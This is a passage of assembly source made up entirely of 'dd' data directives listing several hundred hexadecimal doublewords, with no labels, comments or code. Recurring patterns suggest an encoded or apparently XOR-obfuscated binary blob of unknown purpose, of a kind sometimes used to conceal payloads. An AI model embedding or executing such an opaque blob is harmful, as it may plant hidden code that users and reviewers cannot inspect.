		dd 55D73256h, 0F4D12824h, 0EEAF60B8h, 3CD0C77Ah, 0A1AFB930h
		dd 57B13ADDh, 0A93B3D56h, 0B5B13256h, 1A56B237h, 75B13ABFh
		dd 431BFA56h, 29BD1C0Ah, 55305453h, 0D3BEF2D7h,	0ABB13236h
		dd 0D5B6B659h, 61BE3256h, 75B13257h, 0EF4952A3h, 0FE23CDAEh
		dd 0CEB7282Fh, 0B8BAD0D7h, 0F6D043C7h, 0D5B4DB36h, 3DBC3256h
		dd 0F5197D62h, 0B5D0588Eh, 5DB13AD2h, 0AC323D56h, 37B13256h
		dd 57F4BB37h, 0D4323DAAh, 13B13256h, 832CB37h, 3FBE33AAh
		dd 5DB133A7h, 0AEB4B759h, 37D13256h, 57D0CA37h,	0D53C88DDh
		dd 8CD13442h, 0F59C95EDh, 0EAD0128Ch, 5DB121BFh, 0E913056h
		dd 0BFA4AC76h, 3CEC91EEh, 6348C6C9h, 0E4CD268Dh, 0D733B9AFh
		dd 43B7282Dh, 3D810E6Fh, 0F1D05206h, 6DC5C2D7h,	0F3D05F18h
		dd 0D42EB059h, 6EBE3256h, 75B13244h, 0BABDB259h, 5A583256h
		dd 55B13256h, 8B906CFBh, 113AFEF6h, 0D3A5399Bh,	0EAB0B759h
		dd 25443256h, 0BAB13CBFh, 4C68D756h, 6830979h, 0C64AB4D1h
		dd 0CBD34B5Dh, 5B37D2D7h, 8B493643h, 0E13B0DDh,	8349344Ch
		dd 0DDBE026Ah, 0AEB13257h, 0D8BE6AAFh, 0ABB13313h, 0D5B126BFh
		dd 0BE76B556h, 9A06EBF5h, 0C2D5EA01h, 1CF1CF52h, 0AAFA6D35h
		dd 57FEDBF0h, 0BA583256h, 69B13256h, 9CEC288h, 6CE32E5h
		dd 7DC98F51h, 1AE99BE9h, 3841B236h, 0ED58B330h,	0EE765321h
		dd 0D5B130AEh, 0C858CA56h, 9CB13256h, 0BAB13259h, 117142CDh
		dd 0E05B543Fh, 0C472268h, 6CC2FD31h, 0D5B0CA13h, 62BE3256h
		dd 75B13257h, 9F0BB9AAh, 0A1B7282Fh, 0A2582DDDh, 94B13256h
		dd 0A3BC8168h, 0B8BD87Ch, 0E1BB45B0h, 0C3353D8Dh, 53B13256h
		dd 5DB1325Ch, 0DD3CAF3Fh, 0F272E67Bh, 758A5135h, 0D5F7B759h
		dd 6EBE3256h, 75B13257h, 0B6ECB9AEh, 5DBDBC59h,	20BE3256h
		dd 57B13250h, 0ABB1B359h, 0A8323256h, 6EBE32AEh, 75B1324Dh
		dd 0B9323D36h, 3BB13256h, 25D7EADDh, 0AB253AEh,	0CDE152AEh
		dd 0B3EEE3DDh, 63D0F4DDh, 14D13609h, 0B5A5F5D5h, 5DB134D0h
		dd 0CFD15256h, 0BED05336h, 0ABB1325Ch, 68094FFh, 5D1649ECh
		dd 1058F3ABh, 0DA4ECDA9h, 11540BEDh, 6E82530Fh,	57B8DB36h
		dd 0A60F3256h, 0EAB6E7B3h, 6B5ADD8Dh, 0FB832C9Eh, 0EE58535Fh
		dd 52B13252h, 0AEB13ED3h, 51353D56h, 0A4B13256h, 0D5B132DBh
		dd 0F43A5456h, 75A1B059h, 0B1583256h, 0D4B13256h, 592CA93Bh
		dd 819FF46Eh, 0D63A5EB8h, 0D4353D5Ah, 16B13256h, 7A5AC9D6h
		dd 0BAB17ED2h, 0DCD1CB56h, 8239BB1h, 0AE3A5254h, 0ABB1B759h
		dd 0B4D03256h, 1F41D1D6h, 7AC1C9D6h, 0BAB144D2h, 5DBBDB56h
		dd 64FA3256h, 0D3E558DBh, 7D36CA9Dh, 0D5B039BFh, 0F8373D56h
		dd 15B13256h, 0BAB135BEh, 0A7F3B156h, 0DA5200DAh, 810E3D0Eh
		dd 42B6F437h, 0D4F6F5AAh, 0EAB13256h, 0A4305436h, 0AB596315h
		dd 23B13256h, 791ADFF8h, 0F0D4FC84h, 0A26C7827h, 0A588C29Eh
		dd 8BEEF5DDh, 7B58F5DDh, 0FBB13256h, 0F32E03ECh, 0D6F336Ah
		dd 8E96663Dh, 0AE71B175h, 0D630DBAEh, 8C483256h, 7DBE3591h
		dd 0B5AFB8AAh, 5DB135DDh, 0AF373D56h, 0A2B13256h, 5EBED1D6h
		dd 3C31F9D6h, 0EAB1325Fh, 5040D456h, 94F5A861h,	5CEEBA32h
		dd 0E47CB236h, 57B139BEh, 0C3E10D56h, 8865550Ch, 0EB3BBE84h
		dd 14EA5336h, 0B8F6F5AFh, 5DB13256h, 0AEB13DBFh, 4D56AB56h
		dd 0A14FD073h, 33783B4Ah, 0F3B333EEh, 0F6BEF5DDh, 0BAB1325Eh
		dd 9F0BCB36h, 0CFE430D2h, 0ABB7F2D5h, 0ABB234BFh, 0D5B4DB56h
		dd 65023256h, 15F8BC00h, 0BAB13DBFh, 47B96F56h,	5BD5C136h
		dd 0ACC61FCAh, 67585226h, 0D5B138BFh, 0FE81B256h, 7C779F65h
		dd 0DB642915h, 0CD8FB330h, 0E8353DC6h, 0AFB13256h, 0A4210CD6h
		dd 0D5B148D3h, 62BEC756h, 75B13251h, 1D7C736h, 3BD05965h
		dd 3E4E4CD7h, 75353DC6h, 0A4B13256h, 0D5B135DCh, 0EB363D56h
		dd 89B13256h, 0BAB17CBFh, 5DBADB56h, 0A2BD3256h, 0CE86B824h
		dd 9722D96Ch, 3C76B962h, 0EAB13258h, 2EC80004h,	653267F6h
		dd 43453C2Fh, 0A658F8A5h, 8B13256h, 0C6C981EDh,	3C69EC42h
		dd 0EAB13009h, 75B120BFh, 8F4FD556h, 647E1F92h,	19CE16D3h
		dd 3E10993h, 260F6BDCh,	0CFCD76D4h, 3E1CA50h, 75B1325Bh
		dd 0F3AC9634h, 0ED10BAB7h, 20A1D4E7h, 0DDBE6475h, 0ABB13257h
		dd 1023CDAFh, 0E5B7282Fh, 75B13FDCh, 0BAB9DB56h, 0C6F93256h
		dd 1FD8E378h, 97BA0C8Bh, 0ABEBB659h, 5CBE3256h,	0EAB13241h
		dd 75B120BFh, 21FBAD56h, 6917176h, 0A6F8A02Fh, 99B7CC90h
		dd 0A4CD0447h, 0D5B121D9h, 0EABFDB56h, 4AFC3256h, 51215217h
		dd 0BAD082A7h, 81CC25C4h, 5E58FADDh, 0F2B13256h, 909CB8C6h
		dd 8D280861h, 3103BFAFh, 4FB7282Ah, 5DB14ABFh, 960B5256h
		dd 36ADBE28h, 653AC700h, 0B47FB936h, 0EA3C3D36h, 27B13256h
		dd 0BAB13BBEh, 0F72AB656h, 81920A1Ch, 0EE9790Bh, 2CBE6737h
		dd 0D5B1325Ah, 0EAB7B559h, 0F2BE3256h, 0BAB13256h, 2412A0A9h
		dd 0A1D1344Ch, 0E8BEC2E1h, 0A658539Dh, 0C3B13256h, 59CB92ECh
		dd 6AC432DFh, 69044FE3h, 5C3A3D0Bh, 5BB13256h, 0A04DFC7Dh
		dd 42EFCB8Fh, 0D5B1325Fh, 219851DDh, 8D596779h,	42CCB1ECh
		dd 0A343D57h, 0CEB13256h, 37CD8536h, 6D3B5337h,	2DF88237h
		dd 0EABFDBFCh, 4D6D3256h, 41557523h, 0E056839h,	8AA6F168h
		dd 0D2BE8A30h, 571A54AEh, 0D4F78459h, 0EAB6DB36h, 33F43256h
		dd 0E49708F4h, 0AD3A5432h, 47489937h, 57B132BEh, 0ABB13FBFh
		dd 76BEEF56h, 89C530FCh, 4F17FF6h, 0C7322DDBh, 0D8BE30AEh
		dd 0AEB132FBh, 57B123BFh, 5BBDD856h, 16B78F4Bh,	3B44C149h
		dd 5DCE5D50h, 2D7A5CEh
		dd 0D3BEFB5Dh, 0AEB1324Eh, 57B121BFh, 6455A956h, 8715540h
		dd 2FA2CAA1h, 87FD8119h, 748EE6AFh, 5DB13FBFh, 208A5956h
		dd 0C39C01C2h, 636333BEh, 7ED7D9C5h, 0EAB5BD59h, 15D13256h
		dd 2D75337h, 3B48B659h,	0AEB8DBFDh, 99B33256h, 98C5E083h
		dd 0DAD58BDBh, 3B074E0h, 75B13253h, 88F4D45Ah, 49589914h
		dd 80B13256h, 5516922Bh, 3D108419h, 7AFA5AF1h, 560FE7D4h
		dd 9C7D7736h, 0BAB13262h, 5DB122BFh, 604DA156h,	397C4539h
		dd 0F643FA7Dh, 25D72D46h, 0E515C181h, 75B125DAh, 0BAA3DB56h
		dd 0B5033256h, 7889929h, 6B460354h, 44A7B5EEh, 9274692Ah
		dd 0B149F5DDh, 763D3D36h, 0DCB13256h, 0E4D7E3DDh, 0F7D01231h
		dd 57B0BD59h, 0F5493256h, 3DD16DAEh, 0EAB13258h, 0CAA9519h
		dd 1A946284h, 8D67FAE9h, 4C30D17Eh, 1F07C679h, 0CA268508h
		dd 0D958529Fh, 83B13256h, 0AE90A519h, 63D018EFh, 3BABA8C3h
		dd 0A1D0F5DDh, 57B133D1h, 0A373CA56h, 0D83B3D56h, 3B13256h
		dd 75B1325Eh, 6A5DA18Dh, 0EB772238h, 9DCC8836h,	3F0667C5h
		dd 0AC586737h, 0DCB13256h, 6A988491h, 7B58FA72h, 0C3B13256h
		dd 93938946h, 3EDD4E3h,	0A53A773Fh, 525DB9F8h, 0D5B0B959h
		dd 8A483256h, 0B4063D36h, 52D0CBDDh, 5DB13256h,	435BB30Ch
		dd 37B728FEh, 58088930h, 0B4FEDED6h, 0AF3ACEA3h, 7A3F3D5Eh
		dd 0DAB13256h, 5DB13ABFh, 28CDFE56h, 0BC76B04h,	2938530Bh
		dd 0D3AB4B31h, 0EAAEB759h, 0F5BE3256h, 0BAB1324Fh, 5DB126BFh
		dd 99AB3B56h, 2966457Fh, 3FAF9D81h, 0F774BED5h,	638A0E3Eh
		dd 9CD153AEh, 0BAB13250h, 53D504DFh, 703A8AAFh,	5A58FB37h
		dd 51B13256h, 1E4CE30Ch, 67313AE5h, 0F68ABCEEh,	0DAB13694h
		dd 0D6D7EADDh, 0A1E45385h, 57B138D1h, 1CBE5256h, 0A88088A5h
		dd 61D01FC9h, 0C2BE52BAh, 0AF0A528Eh, 3CFB74DFh, 5675B137h
		dd 435852AAh, 0AEB13256h, 0A5F5A62Fh, 0F9522DE5h, 0F204FB50h
		dd 8B1C065Bh, 0B5F1C6BEh, 0AEB13256h, 0E65BB30Ch, 53B728FFh
		dd 0D595BE59h, 3D13256h, 75B1325Fh, 8CA3587h, 98821E40h
		dd 0AEBFDAF9h, 0A59C3256h, 8F2D8466h, 0DF3587E2h, 2A1828Ch
		dd 30765309h, 0BAB132AEh, 5C3C3D56h, 52B13256h,	0ABF4F5AAh
		dd 0ABB13256h, 0D5B0BC59h, 0D9483256h, 64383D96h, 53B13256h
		dd 5DB1325Ah, 7EFFD6BAh, 3C8AC4E6h, 4AE75ABAh, 20AFB930h
		dd 9113B091h, 75B0344Ch, 0EAD13256h, 5DB1B359h,	2FEF3256h
		dd 115F3489h, 0BF58534Dh, 12B13256h, 914036BAh,	90090822h
		dd 0E5262FC4h, 1298CD49h, 0C8170A01h, 0C721C9D7h, 0ABBEB759h
		dd 3CD13256h, 0EAB1325Eh, 9D4A7DCBh, 1502B278h,	0B54AB237h
		dd 0AA32B659h, 5C583256h, 73B13256h, 0BF4882Bh,	0B9D05649h
		dd 80F1C603h, 0B558C9D6h, 5DB55AD2h, 0B63F3D56h, 58B13256h
		dd 0ABB120DCh, 0D5BCDB56h, 0A5ED3256h, 0D764AC36h, 0A82B2FB1h
		dd 1D67316Bh, 454AB2AEh, 538EB659h, 0EB4D3256h,	0D5B135BFh
		dd 0CC248F56h, 0FFE633B1h, 0DA41D5D6h, 72808836h, 0A0580825h
		dd 33B13256h, 1EA7DF0Dh, 58CF7F68h, 979EF180h, 0CCD15321h
		dd 85C5F3F2h, 0DDD15337h, 0A258CAA3h, 72B13256h, 0E936169Bh
		dd 0B1D69880h, 8BBA847Fh, 7A4AB330h, 50353DD6h,	0A1B13255h
		dd 0A5CCB055h, 58493442h, 0ABB133D6h, 3CF1CE56h, 0EAB1325Bh
		dd 538FDED7h, 0ABA82C4Ch, 328173B9h, 4C4AB22Fh,	543CB659h
		dd 0A3583256h, 0C9B13256h, 0FF280A96h, 0F541C25Fh, 3EBED1ADh
		dd 5DB1311Eh, 0AEB138BFh, 0E7B5FF56h, 0CB5B4A4Ch, 0B3C490B5h
		dd 9D6C9D7h, 76ECB659h,	39BE3256h, 5DB13245h, 0AEBADB36h
		dd 0F0793256h, 99250DACh, 8AA4CD2Dh, 0E5D0CA5Bh, 75B13AD9h
		dd 0B83D3D56h, 3DB13256h, 5E52B237h, 274AB2AFh,	0A8EAB659h
		dd 50BE3256h, 0EAB13257h, 6B3A54A3h, 4252B2AEh,	0E54AB2AFh
		dd 0AF20B659h, 58D13256h, 0ABB131D4h, 1A3A5456h, 0E250B330h
		dd 4B31536Ch, 0C2353D53h, 0B4B13257h, 0AEB13245h, 9D714C80h
		dd 13ACFF42h, 12E91BE8h, 9EFDEF89h, 0F59BA893h,	3EBE1F68h
		dd 5DB13301h, 0AEB13EBFh, 7309A156h, 0A310C296h, 0DB365278h
		dd 828FB26Ch, 748CB659h, 0A8583256h, 52B13256h,	26D46BD5h
		dd 14B56493h, 51C3AEF2h, 2C6A530Ah, 8AF1C715h, 75B135BFh
		dd 88983A56h, 9011D1E8h, 2C4ECE37h, 51AB49F4h, 0ABB13ABFh
		dd 0C1E54856h, 0C13E0C31h, 6B3A54CDh, 4256B2AEh, 5DA4B359h
		dd 46D13256h, 57B1325Fh, 0C1299700h, 5A399D67h,	54D76983h
		dd 13D029E8h, 5230C9D7h, 5D64B659h, 0C8493256h,	0DABE2CDDh
		dd 0ABB13257h, 2556B2AFh, 0EAB13ABFh, 83B74456h, 0C6B3D0D7h
		dd 5DBFDBAAh, 0F3E23256h, 0F88D6E11h, 10CBEA7Bh, 0F6B3415Ah
		dd 6B4AB330h, 0E9353D96h, 46B13256h, 5DB8DB36h,	0E0203256h
		dd 471142EDh, 42F220AEh, 0D5B13253h, 44B41086h,	0F2BE679Ch
		dd 0BAB13257h, 0FE23CDA3h, 0CEB7282Fh, 963A5436h, 0ABB121BEh
		dd 6A1F9256h, 0AA674AA0h, 0A4D49AB6h, 0C2881A00h, 0CC05A2D5h
		dd 2BBE530Fh, 57B13250h, 0ABB1B559h, 88D03256h,	16F4BBAEh
		dd 0FBBE53A3h, 0BAB1324Fh, 5DB126BFh, 8D460C56h, 7D168A0Ah
		dd 7209FC19h, 0B28B5FB8h, 0C19733A2h, 75B4DB16h, 11A33256h
		dd 0DEBA5294h, 0A1B0CE2Bh, 57B737D3h, 0A3353D56h, 0B5B13256h
		dd 0EAB1BD59h, 0FED03256h, 0AEB1BFECh, 0AD305250h, 0EC54D46Bh
		dd 7D06B06h, 5A063D36h,	0D5B2B559h, 5DBE3256h, 0F73A538Fh
		dd 0BCAB49F4h, 5DB138BFh, 139EB156h, 0C7615CC6h, 922C90EDh
		dd 0D358026Ah, 0D2B13256h, 6613526h, 0BABEDB50h, 90CE3256h
		dd 2A90C430h, 17F7B110h, 0AA8F13A6h, 57BE6A1Eh,	0EAB137CCh
		dd 0B80BB9AFh, 42B7265Dh, 5DB120BFh, 463C8256h,	82E6F016h
		dd 4CFA9267h, 4E3516BAh, 0BA8978FCh, 75B134BFh,	4991D956h
		dd 0D6EEFEF2h, 0B4CA90D4h, 6B88CE50h, 0A4E9CA66h, 0D5B46FD9h
		dd 6149C756h, 6FC866ECh, 0B33D3D50h, 3DB13256h,	8D72B330h
		dd 36D052BCh, 0D2E5B0D5h, 0B5A5344Ch, 61678D59h, 61585390h
		dd 59B13256h, 6C12E55h,	5C57817Fh, 6E745FADh, 0F965C4E5h
		dd 5C878699h, 0AD38C761h, 15E1CE46h, 383A53A3h,	5BAB49F4h
		dd 0AEB138BFh, 50A58656h, 6B001052h, 5E2C8591h,	59D1024Ah
		dd 6940B2E1h, 34BE6A37h, 5DB13242h, 0AEB13DBFh,	0A39CA156h
		dd 7AB33BA1h, 0AB7CB5A3h, 0DAA175Bh, 15B96DDFh,	0BAA1BF59h
		dd 57593256h, 0FDB13256h, 272EC13Fh, 5CAED5D2h,	54D7699Ch
		dd 8B9C4E9Fh, 75B587BFh, 0B3343D56h, 3DB13256h,	0AEB1B859h
		dd 364D3256h, 0A9497791h, 2CB13256h, 0EAE2DBAAh, 0CAD13256h
		dd 0D8626F99h, 3C79DFD6h, 0A2586236h, 0CCB13256h, 0A286C839h
		dd 1EDA0A14h, 0B53C7B47h, 0B2D0FCDCh, 0BAB0CA13h, 0E3D13256h
		dd 0E70383FCh, 57B13CBEh, 2754356h, 0DD84D8B1h,	0B2BC31B4h
		dd 0FEC8B07Dh, 0B5D06DAFh, 5DB13AD9h, 0AC3A3D56h, 37B13256h
		dd 0FF0BB937h, 3CB7282Fh, 0EAB13250h, 0A725AD21h, 3832CE2Bh
		dd 5BAB4B02h, 0AEBCDB42h, 0DDD83256h, 0CB05230Ah, 1C48839Bh
		dd 0E5F67E20h, 75B13ADBh, 0B8353D56h, 3DB13256h, 5B86BB37h
		dd 0BEA175DFh, 0ABB1325Ch, 0B440D81Dh, 0BE074A00h, 8D324C16h
		dd 0D3343D55h, 0B4B13256h, 0AEB1325Bh, 98854D0h, 1C04CBC3h
		dd 0F018B02Dh, 4833F529h, 77B7282Dh, 53B13256h,	5DB13246h
		dd 9D509081h, 0F2D2D53Eh, 0A212F695h, 61014C10h, 0E3BA8D36h
		dd 7B59185Fh, 23B13256h
		dd 3F6CFF02h, 0C5BFD421h, 0DC30E87h, 42D06B8Fh,	0D5B13274h
		dd 0BC43B236h, 75BCB659h, 0BD593256h, 0C8B13256h, 0D74251A3h
		dd 36E8796Ch, 0A4B3CAD5h, 0D5B352DBh, 9732C756h, 0F1BE32AEh
		dd 0BAB132DBh, 1B073DAAh, 0AEBFDB57h, 0B2EF3256h, 4137F66Eh
		dd 2C5D3838h, 96D065A8h, 75B1B2FFh, 0E0343D56h,	52B13256h
		dd 0AEB133D2h, 0BEF1C756h, 0ABB13244h, 0EF99B32Ah, 422F4F42h
		dd 1E8F2D5h, 0ED83CA66h, 0B53280D3h, 9258CE53h,	58B13256h
		dd 0ABB12CD6h, 54D75256h, 29B2387h, 75B13247h, 0F65CBB20h
		dd 0B218CE32h, 0FC82B11Fh, 1727E292h, 0A4D06AF6h, 0D5B13AD4h
		dd 0B3E65256h, 0A2858A30h, 0BA4E1F37h, 0DE443256h, 474437BEh
		dd 57B13270h, 204961AAh, 0CFCA90CCh, 0EAB4DB50h, 6B913256h
		dd 31BEB511h, 54580152h, 0B6B13256h, 0DCAC6CE7h, 0EC49397Ch
		dd 0D518CB0Dh, 0E5313256h, 75B19FD3h, 0BD333D56h, 3DB13256h
		dd 0C479B330h, 5F585320h, 0D8B13256h, 7747AB9Dh, 0E9DD4C9Ch
		dd 0AA315290h, 150B5482h, 9D32535Dh, 0BB3C3D53h, 0BEB13256h
		dd 0ABB13246h, 5489AAE5h, 0AB83389Ah, 67C427CBh, 0CB3065C8h
		dd 2613B055h, 0A1D1344Ch, 5B58F2E1h, 1CB13256h,	3CEA027Bh
		dd 0CFA26A33h, 14A86D97h, 0BABFDB1Eh, 49873256h, 0B5D73ABFh
		dd 728E6378h, 13720B63h, 0DAB975DFh, 0EAB134D0h, 0F5445256h
		dd 33D02881h, 0DFBE3E11h, 0AEB13240h, 57B123BFh, 72458D56h
		dd 4A4A8674h, 0CFDF2DDEh, 0B346D9A8h, 0B55840A5h, 52B13254h
		dd 0AEB133D5h, 8F46CB56h, 0ABBCB959h, 0DD583256h, 6CB13256h
		dd 73F26CE9h, 9171E52Fh, 463E3D90h, 0CEB13256h,	57B123BEh
		dd 8B86C956h, 13FEA099h, 7EEC7C4Dh, 625551CEh, 30EE4719h
		dd 4D58539Ch, 36B13256h, 90A92886h, 5980A549h, 7589B3BAh
		dd 1D3CAC1Eh, 0FBBECB8Eh, 0BAB13243h, 5DB122BFh, 0B77B5D56h
		dd 0DF054BB3h, 0FB33D24Ch, 271482A3h, 0EF71B16Eh, 75B0B659h
		dd 53493256h, 5DB13247h, 9084AA70h, 47A59D9Bh, 0CABE599Ah
		dd 95FF6652h, 483331FEh, 15B7282Dh, 0BAB3B159h,	3CD13256h
		dd 0E6D049E1h, 57A3BB59h, 0A6583256h, 0AFB13256h, 0DE9A18FDh
		dd 0BDC39825h, 4784B365h, 52B975DFh, 0AEB133DBh, 1038CB56h
		dd 15D1525Ah, 0DBF40E41h, 0EAB134BEh, 0D2337356h, 0E17F5A42h
		dd 76585337h, 0CEB13257h, 57B137BFh, 0BDEDF356h, 2D3A5070h
		dd 8A710137h, 260A54AEh, 0FC3B5395h, 5658CB57h,	25B13256h
		dd 4F3B3F83h, 0ED4D7901h, 5519509Dh, 0EA32B759h, 0F6BE3256h
		dd 0BAB1325Ah, 5DB7BD59h, 20BE3256h, 57B13256h,	0FDD1F455h
		dd 0D5B1BE59h, 58E83256h, 0B5325308h, 0BB3D3D54h, 0A8B13256h
		dd 0AEB133EDh, 5F373D56h, 0A4B13256h, 0D5B130DFh, 0E1D05256h
		dd 6C353D8Dh, 46B13256h, 0F30CA8DCh, 2E49344Fh,	0DDD133B5h
		dd 2ABE52A8h, 0D5B13256h, 8BD06C01h, 8CD1F155h,	0BA393D36h
		dd 3CB13256h, 0A6F6BB37h, 5BF6BBAFh, 0AB31DBA3h, 53BE3256h
		dd 0EAB13253h, 8CD05236h, 4F69C537h, 5DB1CD73h,	0AF3B3D56h
		dd 0AFB13256h, 0A4D1F47Dh, 2430EBE9h, 0E5FE5D59h, 1569C537h
		dd 0DB71DCD6h, 0B4B3F2D5h, 0AEB13244h, 3F4216EFh, 0AF9AE8F1h
		dd 200918D0h, 9869C7DEh, 32385348h, 3BBE525Eh, 5DB13240h
		dd 0AEB123BFh, 11A21156h, 0CAD14A86h, 0D9688461h, 0ADE299DFh
		dd 0F4D783F4h, 0DBDB4A8Ch, 0B4BD75DFh, 0AEB1325Ch, 1C9F07DEh
		dd 39124593h, 3C49FFADh, 0EAB13250h, 0F93B0B7Ch, 53D0DB74h
		dd 5DB1325Fh, 847E7A21h, 218E3EF1h, 0F8D1FB7Ch,	16485309h
		dd 0EAB122BFh, 5FE4F356h, 0CA65EE43h, 0AAAA27F5h, 0CB8D4020h
		dd 5A58672Bh, 68B13256h, 0E0882D1Fh, 0A68CD7F3h, 0C7FF2402h
		dd 0AE58DEDDh, 21B13256h, 97C9AD3Dh, 0F479B07Eh, 0A71A767Bh
		dd 0E0F9EF95h, 696723B8h, 7B58CE92h, 47B13256h,	6E158A45h
		dd 0A566086Bh, 0C4924E41h, 29BE52C2h, 0D5B1325Ah, 0EAB7BB59h
		dd 0F6BE3256h, 0BAB13256h, 5DB132BEh, 44306856h, 51AB8198h
		dd 113ACAAAh, 0D3AB4B73h, 220B5236h, 8D838A34h,	0BAA5DA37h
		dd 0A7803256h, 82C495CFh, 0D9ED6B4Eh, 9B6BB8E1h, 6B758238h
		dd 6BD7194Bh, 2FE25BB0h, 46780137h, 52B10DD5h, 0AEB598D2h
		dd 5D303D56h, 42B13256h, 0D5B13253h, 731C7E12h,	7AB6B9A6h
		dd 0BAB12CD6h, 45383D56h, 47B13256h, 57B13245h,	96E08E93h
		dd 0DFCCDAD6h, 4FAC5A8Fh, 8D10724Bh, 45CD5D5Bh,	0D4BE3E23h
		dd 0AEB13257h, 224ECAAFh, 0A358CA5Eh, 4B13256h,	23C592E2h
		dd 2518766Dh, 3BD75236h, 0B5C98A87h, 0AEB1325Ch, 0DDCFF2E4h
		dd 96E1A8FDh, 0B4EEF31Fh, 8B6A8D59h, 75B853BEh,	7C3A5256h
		dd 3C61B930h, 2BBEF25Dh, 57B13270h, 0ABB120BFh,	4E476256h
		dd 0D632B69Ah, 0BBB9F352h, 351AD775h, 0D6ED1388h, 0BC58C751h
		dd 58B13256h, 0ABB133DAh, 1232C756h, 0AF58CB42h, 894ECDA9h
		dd 46F4BBAFh, 5DB135BFh, 0C5259456h, 476FEE41h,	42BD47A9h
		dd 0D5B13245h, 86E74F4Ah, 5D00288Dh, 0A334FE9Ch, 4BB7A4F8h
		dd 0CE54214Eh, 0AB01EDD6h, 0A3C4CD37h, 0D5B6B959h, 66BE3256h
		dd 75B13257h, 0B1303DAEh, 0B4B13256h, 0AEB13250h, 19FF082Ch
		dd 9C4E844Ch, 0D5B6B559h, 66BE3256h, 75B13257h,	0B20DDAAEh
		dd 56483256h, 9A353D96h, 37B13256h, 0ABB139BEh,	6FE13356h
		dd 76F5728Ch, 0B9B92D44h, 0E4428559h, 5DB121BFh, 63B6F156h
		dd 1BE6F1A8h, 773BDB20h, 9A4C5F95h, 0E019AD8Dh,	76E4DB37h
		dd 31493256h, 3DD1CE13h, 0AEB1B359h, 0BED03256h, 0ABB13250h
		dd 0EAB2062Dh, 0D3D022B1h, 41333D51h, 0B5B13255h, 5DB133D9h
		dd 0EB4ECE56h, 9B3152AAh, 0AA313DECh, 20B13256h, 0EECEB137h
		dd 4F353D56h, 0B5B13256h, 5DB13ADAh, 0C84D5256h, 87D1D8D7h
		dd 0A7CEB137h, 0F7353D56h, 3B13256h, 75B1325Eh,	1C8E0E9Ah
		dd 1DCF64A9h, 0AEB1A1BFh, 50585256h, 41B13256h,	5EFE9F44h
		dd 605E52Ah, 8A4E8A37h,	53D1CDA9h, 5DB1325Bh, 0F7DA841Fh
		dd 15A3C32Bh, 459D3165h, 0DA4D52BCh, 8BD0EDE9h,	75B137EFh
		dd 0BAA2DB56h, 41F83256h, 139FDA0h, 0E01970CFh,	48F463A2h
		dd 0BFA7AAA7h, 121AC119h, 7592BA59h, 53D13256h,	5DB1325Eh
		dd 59DE7C4Bh, 65F7E74Ch, 0ABB13DBFh, 39311356h,	8DCB1E79h
		dd 6713DCE2h, 0F9BFBC83h, 0A337DB37h, 0A149CDA9h, 57B13DDFh
		dd 0ABBBDB56h, 0BA583256h, 1D07E8Eh, 75626586h,	0BFA14DD5h
		dd 5DDFB659h, 24BE3256h, 57B13257h, 0BBCEB1AAh,	0A8343D50h
		dd 8AB13256h, 0C778B3AEh, 0DBD2E5D3h, 0E4D75217h, 960EE528h
		dd 36AD1B24h, 0ABB6B259h, 5ABE3256h, 0EAB13257h, 71F6B9AEh
		dd 0B6EEB9AAh, 5DA1DA36h, 2A63256h, 5DD1495Bh, 9CD42C18h
		dd 2EF79E0Ch, 65BED007h, 75B13256h, 7B58530Eh, 52B13257h
		dd 0AEB139D9h, 0D8BE5256h, 0ABB13256h, 0B46BB930h, 1FB575DDh
		dd 8DBD6DDDh, 0BB2EDBAFh, 0E8D13256h, 0AEB8DB73h, 0AE5C3256h
		dd 0AF792FCBh, 0B412BF9Bh, 16B575DDh, 7ABD6DDDh, 0BAB12DD8h
		dd 443D3D56h, 47B13256h, 57B13242h, 0B264BDDEh,	0E3C4708h
		dd 7C9C2713h, 0E5C1796Dh, 0A0A4924Dh, 5260B936h, 0AEB131DEh
		dd 8E3A5456h, 0A3EE0937h, 0D579B759h, 0F9583256h, 25B13256h
		dd 22BDC0C7h, 0C20D593Dh, 174B6315h, 1D527ABDh,	0A4E3F631h
		dd 0D5B134DAh, 0E5485256h, 0FED0EBE9h, 32BE3601h, 5DB1325Ah
		dd 0C40E5436h, 573D3D20h, 0CAB13256h, 3CA1677Dh, 0EAB1325Eh
		dd 0CADA6EF2h, 0EC8B00BBh
		dd 5DB13CBFh, 8F267D56h, 369B8B8Dh, 0B12BA78Fh,	0D6B9128Ch
		dd 61482603h, 0F0BE3E09h, 0BAB1324Eh, 5DB121BFh, 0A7F5A956h
		dd 0E7E3D5F7h, 5D4BDCEh, 21F9F4BCh, 0E380EEB6h,	8D6B19AFh
		dd 0B5B4D9D5h, 5DB137D3h, 24445256h, 58EB5399h,	0ABB126DDh
		dd 0D5BEDB56h, 0E4E93256h, 38C032F3h, 0E059D551h, 19E037B1h
		dd 0CF4D5289h, 57B178BFh, 0A0333D56h, 3CB13256h, 0EAB13250h
		dd 801C0239h, 0FD3A643Dh, 60045252h, 1C78B330h,	83A530Dh
		dd 0AA3A3D5Ah, 29B13256h, 3B56D7Dh, 75B1325Eh, 0AD812B59h
		dd 0A703E55Dh, 57B4D9D5h, 4130B855h, 0A4443442h, 0D5B130DDh
		dd 69D05256h, 7AB22229h, 0BAB172D3h, 5C333D56h,	5BB13256h
		dd 57A3DB36h, 73AC3256h, 0EE1DD7DCh, 0C12EE64Fh, 0BFE3639Dh
		dd 0A7067558h, 1CD06A06h, 0AEB139BFh, 3E6A4356h, 676D1F7Dh
		dd 0F60266C1h, 0EAB6BE59h, 0F1BE3256h, 0BAB13257h, 0A56819AFh
		dd 0AFB06EDFh, 0A809CBAEh, 0A44ECDA9h, 0D5B135DAh, 55BE5256h
		dd 146EB9A4h, 0BAB137EFh, 0D0BE5256h, 0AEB13256h, 0AF1AC137h
		dd 57ABDBAEh, 0B44DCDA9h, 0EAB126BFh, 9CE15456h, 0CCC1F3CAh
		dd 342FFE63h, 1F6EB946h, 0B39AC8ADh, 0A658FBC9h, 67B13256h
		dd 0A03936B3h, 3D8CFB48h, 47A84043h, 52B12294h,	0AEB124D1h
		dd 57A0DB56h, 0D9EF3256h, 6412DE02h, 0B5DA8EA1h, 1D725BD5h
		dd 0EFA76901h, 5DB13EBFh, 372BB856h, 4D1E4151h,	21A8EB8Bh
		dd 0DA5DB93Ah, 0EAB133D8h, 0B132C756h, 0BB3B3DAAh, 0A8B13256h
		dd 0AEB7BF59h, 6D13256h, 0CAEF650Ch, 0DAE35236h, 0E5EEC8E9h
		dd 75B12ADFh, 0BAA3DA56h, 6E043256h, 0FB355CAAh, 1F178C29h
		dd 93FF4E82h, 35ECB031h, 0EA59530Fh, 2FB13256h,	3D5D8D7h
